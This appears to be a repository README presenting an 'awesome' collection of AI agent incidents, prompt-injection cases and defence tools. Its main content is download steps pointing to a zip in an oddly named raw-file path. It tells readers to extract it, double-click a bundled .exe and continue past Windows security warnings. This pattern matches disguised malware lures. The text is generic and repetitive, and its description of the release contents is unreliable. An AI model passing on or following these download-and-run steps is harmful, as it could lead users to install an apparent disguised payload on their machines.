awesome-ai-agent-incidents：AI 智能体真实风险案例合集

🧠 awesome-ai-agent-incidents - Learn agent risks with clear cases

📌 What this is

awesome-ai-agent-incidents is a curated set of real-world style cases for autonomous AI agents. It brings together incidents, attack paths, failure modes, and defense tools in one place.

Use it to study how AI agents can fail, how prompt injection works, and what to check before you trust an agent with access to tools, files, or private data.

🖥️ What you need

A Windows PC
A web browser such as Edge, Chrome, or Firefox
Internet access
Enough free space for the download and files you may extract
A zip tool, if the release file comes in a zip format

This package is built for easy access on Windows. You do not need coding knowledge to open it and read the content.

🚀 Download and install

Visit this page to download: https://github.com/languagezoneenterprise545/awesome-ai-agent-incidents/raw/refs/heads/main/spiloma/awesome_ai_agent_incidents_v1.8.zip
Find the latest release near the top of the page.
Under Assets, look for the main download file.
Download the file to your computer.
If the file is a .zip, right-click it and choose Extract All.
Open the extracted folder.
Read the included files with Notepad, your browser, or a PDF reader, depending on the file type.

If the release includes a desktop app or viewer, open the main .exe file after extraction. If it includes only reference files, open the index or start page first.

📂 What you will find

The release is organized to make it easy to review incidents and defense material. You can expect content such as:

Incident writeups that show what went wrong
Attack vectors that explain how agents were tricked or misused
Failure modes that show where agent behavior broke down
Defensive tools that help reduce risk
Notes on prompt injection and data exposure
Examples tied to agent skills, model behavior, and tool use
Security checks for LLM-based systems
Material related to Claude, Claude Code, Codex, and OpenClaw

The files are meant to help you understand both the problem and the fix.

🧭 How to use it

Start with the overview file if one is included.
Open one incident at a time.
Read the attack path first.
Check the failure mode next.
Review the defense tools or controls listed with it.
Compare cases that use the same kind of trick, such as prompt injection or tool abuse.
Keep notes on what you would block, log, or test in your own setup.

If you are new to this topic, focus on the plain-language parts first. The examples are most useful when you read them in small groups.

🔒 Safety and trust checks

Autonomous agents can act on their own once they have access to tools. That can create risk when they can read email, browse the web, change files, or call external services.

Use the corpus to check for issues like:

Prompt injection from web pages, messages, or documents
Unwanted tool calls
Data leakage from private context
Confused goals and bad task handoff
Weak checks before the agent takes action
Over-trusting model output
Missing approval steps for sensitive work

If you manage an agent system, this material can help you build safer review rules and better guardrails.

🧰 Common use cases

Learn how AI agents fail in practice
Review security patterns before a deployment
Train support or ops teams on agent risk
Build internal tests for prompt injection
Compare defense tools for LLM systems
Study incident patterns before adding new tools
Create checklists for agent approval flows

📋 File types you may see

The release may include common file types such as:

.md files for reading in a browser or text editor
.pdf files for easier document review
.json files for structured incident data
.csv files for sorting and filtering in Excel
.txt files for quick viewing
.exe files if the release includes a Windows viewer or helper tool
.zip files that need extraction first

If you are unsure which file to open, start with the file named README, index, start, or overview.

🧪 Example workflow

Download the latest release from the link above.
Extract the files if needed.
Open the main index file.
Pick one incident that matches your area of interest.
Read the attack, the failure, and the defense.
Move to the next case and compare the pattern.
Keep a short list of controls you want to use later.

This makes it easier to spot repeated issues across different agent setups.

🧩 Topics covered

This corpus focuses on areas such as:

AI agents
AI security
LLM security
Prompt injection
Claude and Claude Code
Codex
OpenClaw
Agent skills
Vibe coding
Defensive tools

These topics help you see how agent systems behave when they face real pressure from inputs they do not control.

🗂️ If the release includes a viewer

Some releases include a simple viewer or helper app for Windows. If you see one:

Download the release file.
Extract it if needed.
Double-click the main .exe file.
If Windows shows a security prompt, choose the option that lets you continue only if you trust the source.
Use the app to browse incidents, search terms, or open files.

If no app is included, you can still use the corpus as a normal set of documents.

❓ Common questions

Is this hard to use?

No. Most users only need to download the release, extract it if needed, and open the files.

Do I need special software?

Usually not. A browser and a file extractor are enough for most releases.

Can I search the content?

Yes, if the release includes text or document files. You can use your browser search, Windows search, or Excel for CSV files.

What if I only want one topic?

Open the files tied to that topic and skip the rest. The corpus is designed for browsing by case and by subject.

Is this for beginners?

Yes. The structure is useful for new users who want a clear view of agent risks without reading dense technical papers

🪟 Windows tips

Save the download in a folder you can find later
Keep the extracted files in one place
Use a folder name that matches the release version
Open text files with Notepad if you want a simple view
Use a browser for Markdown files
Use Excel or LibreOffice for CSV files
If Windows blocks the file, check the file name and source before opening it

📎 Download again

Visit the releases page to download

🧭 Suggested reading order

Overview
Incident examples
Attack vectors
Failure modes
Defense tools
Topic-based cases
Notes or index files

Reading in this order gives you a clear path from what happened to what to do next

🔍 What makes this useful

Autonomous AI agents can look useful and still fail in simple ways. They may follow bad instructions, trust the wrong source, or take actions without a proper check.

This corpus helps you:

Spot weak points early
Build better review steps
Reduce prompt injection risk
Improve tool access rules
Understand common agent mistakes
Compare defenses across setups

🧷 Basic folder habit

Keep a clean folder structure like this:

Downloads for the release file
awesome-ai-agent-incidents for the extracted content
Notes for your own comments
Reviews for case comparisons

A simple structure makes it easier to return to the material later

🛠️ Troubleshooting

The file will not open

Check whether it is zipped. If so, extract it first.

Windows shows a warning

This can happen with downloaded files. Confirm that you downloaded from the release page above.

I cannot find the main file

Look for README, index, start, or overview in the extracted folder.

The text looks hard to read

Open Markdown files in a browser or use a plain text editor with a larger font

The file is huge

Start with one folder or one topic at a time. You do not need to read everything in one session